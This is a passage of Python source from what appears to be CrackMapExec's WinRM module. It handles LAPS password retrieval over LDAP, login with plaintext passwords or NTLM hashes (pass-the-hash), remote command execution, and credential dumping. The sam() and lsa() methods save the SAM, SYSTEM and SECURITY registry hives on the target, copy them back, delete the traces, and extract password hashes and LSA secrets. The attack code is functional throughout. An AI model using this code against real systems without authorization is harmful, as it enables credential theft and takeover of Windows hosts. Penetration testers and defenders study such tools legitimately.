                smb_conn = SMBConnection(self.host, self.host, None)
                try:
                    smb_conn.login('', '')
                except SessionError as e:
                    pass

                self.domain = smb_conn.getServerDNSDomainName()
                self.hostname = smb_conn.getServerName()
                self.server_os = smb_conn.getServerOS()
                self.logger.extra['hostname'] = self.hostname

                self.output_filename = os.path.expanduser(
                    '~/.cme/logs/{}_{}_{}'.format(
                        self.hostname, self.host,
                        datetime.now().strftime("%Y-%m-%d_%H%M%S")))

                try:
                    smb_conn.logoff()
                except:
                    pass

            except Exception as e:
                logging.debug(
                    "Error retrieving host domain: {} specify one manually with the '-d' flag"
                    .format(e))

            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

    def laps_search(self, username, password, ntlm_hash, domain):
        ldapco = LDAPConnect(self.domain, "389", self.domain)
        connection = ldapco.plaintext_login(domain,
                                            username[0] if username else '',
                                            password[0] if password else '',
                                            ntlm_hash[0] if ntlm_hash else '')
        if connection == False:
            logging.debug(
                'LAPS connection failed with account {}'.format(username))
            return False
        searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name=' + self.hostname + '))'
        attributes = ['ms-MCS-AdmPwd', 'samAccountname']
        result = connection.search(searchFilter=searchFilter,
                                   attributes=attributes,
                                   sizeLimit=0)

        msMCSAdmPwd = ''
        sAMAccountName = ''
        for item in result:
            if isinstance(item,
                          ldapasn1_impacket.SearchResultEntry) is not True:
                continue
            for computer in item['attributes']:
                if str(computer['type']) == "sAMAccountName":
                    sAMAccountName = str(computer['vals'][0])
                else:
                    msMCSAdmPwd = str(computer['vals'][0])
            logging.debug("Computer: {:<20} Password: {} {}".format(
                sAMAccountName, msMCSAdmPwd, self.hostname))
        self.username = self.args.laps
        self.password = msMCSAdmPwd
        if msMCSAdmPwd == '':
            logging.debug(
                'msMCSAdmPwd is empty, account cannot read LAPS property for {}'
                .format(self.hostname))
            return False
        if ntlm_hash:
            hash_ntlm = hashlib.new('md4',
                                    msMCSAdmPwd.encode('utf-16le')).digest()
            self.hash = binascii.hexlify(hash_ntlm).decode()
        self.domain = self.hostname
        return True

    def print_host_info(self):
        if self.args.domain:
            self.logger.extra['protocol'] = "HTTP"
            self.logger.info(self.endpoint)
        else:
            self.logger.extra['protocol'] = "SMB"
            self.logger.info(u"{} (name:{}) (domain:{})".format(
                self.server_os, self.hostname, self.domain))
            self.logger.extra['protocol'] = "HTTP"
            self.logger.info(self.endpoint)
        self.logger.extra['protocol'] = "WINRM"
        if self.args.laps:
            return self.laps_search(self.args.username, self.args.password,
                                    self.args.hash, self.domain)
        return True

    def create_conn_obj(self):

        endpoints = [
            'https://{}:{}/wsman'.format(
                self.host, self.args.port if self.args.port else 5986),
            'http://{}:{}/wsman'.format(
                self.host, self.args.port if self.args.port else 5985)
        ]

        for url in endpoints:
            try:
                requests.get(url, verify=False, timeout=3)
                self.endpoint = url
                if self.endpoint.startswith('https://'):
                    self.port = self.args.port if self.args.port else 5986
                else:
                    self.port = self.args.port if self.args.port else 5985

                self.logger.extra['port'] = self.port

                return True
            except Exception as e:
                if 'Max retries exceeded with url' not in str(e):
                    logging.debug('Error in WinRM create_conn_obj:' + str(e))

        return False

    def plaintext_login(self, domain, username, password):
        try:
            from urllib3.connectionpool import log
            log.addFilter(SuppressFilter())
            if not self.args.laps:
                self.password = password
                self.username = username
            self.domain = domain
            if self.args.ssl and self.args.ignore_ssl_cert:
                self.conn = Client(self.host,
                                   auth='ntlm',
                                   username=u'{}\\{}'.format(
                                       domain, self.username),
                                   password=self.password,
                                   ssl=True,
                                   cert_validation=False)
            elif self.args.ssl:
                self.conn = Client(self.host,
                                   auth='ntlm',
                                   username=u'{}\\{}'.format(
                                       domain, self.username),
                                   password=self.password,
                                   ssl=True)
            else:
                self.conn = Client(self.host,
                                   auth='ntlm',
                                   username=u'{}\\{}'.format(
                                       domain, self.username),
                                   password=self.password,
                                   ssl=False)

            # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
            # we could just authenticate without running a command :) (probably)
            self.conn.execute_ps("hostname")
            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(
                self.domain, self.username,
                self.password if not self.config.get('CME', 'audit_mode') else
                self.config.get('CME', 'audit_mode') * 8,
                highlight('({})'.format(self.config.get('CME', 'pwn3d_label')
                                        ) if self.admin_privs else '')))
            if not self.args.local_auth:
                add_user_bh(self.username, self.domain, self.logger,
                            self.config)
            if not self.args.continue_on_success:
                return True

        except Exception as e:
            if "with ntlm" in str(e):
                self.logger.error(u'{}\\{}:{}'.format(
                    self.domain, self.username,
                    self.password if not self.config.get('CME', 'audit_mode')
                    else self.config.get('CME', 'audit_mode') * 8))
            else:
                self.logger.error(u'{}\\{}:{} "{}"'.format(
                    self.domain, self.username,
                    self.password if not self.config.get('CME', 'audit_mode')
                    else self.config.get('CME', 'audit_mode') * 8, e))

            return False

    def hash_login(self, domain, username, ntlm_hash):
        try:
            from urllib3.connectionpool import log
            log.addFilter(SuppressFilter())
            lmhash = '00000000000000000000000000000000:'
            nthash = ''

            if not self.args.laps:
                self.username = username
                #This checks to see if we didn't provide the LM Hash
                if ntlm_hash.find(':') != -1:
                    lmhash, nthash = ntlm_hash.split(':')
                else:
                    nthash = ntlm_hash
                    ntlm_hash = lmhash + nthash
                if lmhash: self.lmhash = lmhash
                if nthash: self.nthash = nthash
            else:
                nthash = self.hash

            self.domain = domain
            if self.args.ssl and self.args.ignore_ssl_cert:
                self.conn = Client(self.host,
                                   auth='ntlm',
                                   username=u'{}\\{}'.format(
                                       self.domain, self.username),
                                   password=lmhash + nthash,
                                   ssl=True,
                                   cert_validation=False)
            elif self.args.ssl:
                self.conn = Client(self.host,
                                   auth='ntlm',
                                   username=u'{}\\{}'.format(
                                       self.domain, self.username),
                                   password=lmhash + nthash,
                                   ssl=True)
            else:
                self.conn = Client(self.host,
                                   auth='ntlm',
                                   username=u'{}\\{}'.format(
                                       self.domain, self.username),
                                   password=lmhash + nthash,
                                   ssl=False)

            # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
            # we could just authenticate without running a command :) (probably)
            self.conn.execute_ps("hostname")
            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(
                self.domain, self.username,
                nthash if not self.config.get('CME', 'audit_mode') else
                self.config.get('CME', 'audit_mode') * 8,
                highlight('({})'.format(self.config.get('CME', 'pwn3d_label')
                                        ) if self.admin_privs else '')))
            if not self.args.local_auth:
                add_user_bh(self.username, self.domain, self.logger,
                            self.config)
            if not self.args.continue_on_success:
                return True

        except Exception as e:
            if "with ntlm" in str(e):
                self.logger.error(u'{}\\{}:{}'.format(
                    self.domain, self.username,
                    nthash if not self.config.get('CME', 'audit_mode') else
                    self.config.get('CME', 'audit_mode') * 8))
            else:
                self.logger.error(u'{}\\{}:{} "{}"'.format(
                    self.domain, self.username,
                    nthash if not self.config.get('CME', 'audit_mode') else
                    self.config.get('CME', 'audit_mode') * 8, e))

            return False

    def execute(self, payload=None, get_output=False):
        try:
            r = self.conn.execute_cmd(self.args.execute)
        except:
            self.logger.debug(
                'Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !'
            )
            r = self.conn.execute_ps(self.args.execute)
        self.logger.success('Executed command')
        self.logger.highlight(r[0])

    def ps_execute(self, payload=None, get_output=False):
        r = self.conn.execute_ps(self.args.ps_execute)
        self.logger.success('Executed command')
        self.logger.highlight(r[0])

    def sam(self):
        self.conn.execute_cmd(
            "reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM"
        )

        self.conn.fetch("C:\\windows\\temp\\SAM",
                        self.output_filename + ".sam")
        self.conn.fetch("C:\\windows\\temp\\SYSTEM",
                        self.output_filename + ".system")

        self.conn.execute_cmd(
            "del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM")

        localOperations = LocalOperations(self.output_filename + ".system")
        bootKey = localOperations.getBootKey()
        SAM = SAMHashes(
            self.output_filename + ".sam",
            bootKey,
            isRemote=None,
            perSecretCallback=lambda secret: self.logger.highlight(secret))
        SAM.dump()
        SAM.export(self.output_filename + ".sam")

    def lsa(self):
        self.conn.execute_cmd(
            "reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM"
        )
        self.conn.fetch("C:\\windows\\temp\\SECURITY",
                        self.output_filename + ".security")
        self.conn.fetch("C:\\windows\\temp\\SYSTEM",
                        self.output_filename + ".system")
        self.conn.execute_cmd(
            "del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY")

        localOperations = LocalOperations(self.output_filename + ".system")
        bootKey = localOperations.getBootKey()
        LSA = LSASecrets(self.output_filename + ".security",
                         bootKey,
                         None,
                         isRemote=None,
                         perSecretCallback=lambda secretType, secret: self.
                         logger.highlight(secret))
        LSA.dumpCachedHashes()
        LSA.dumpSecrets()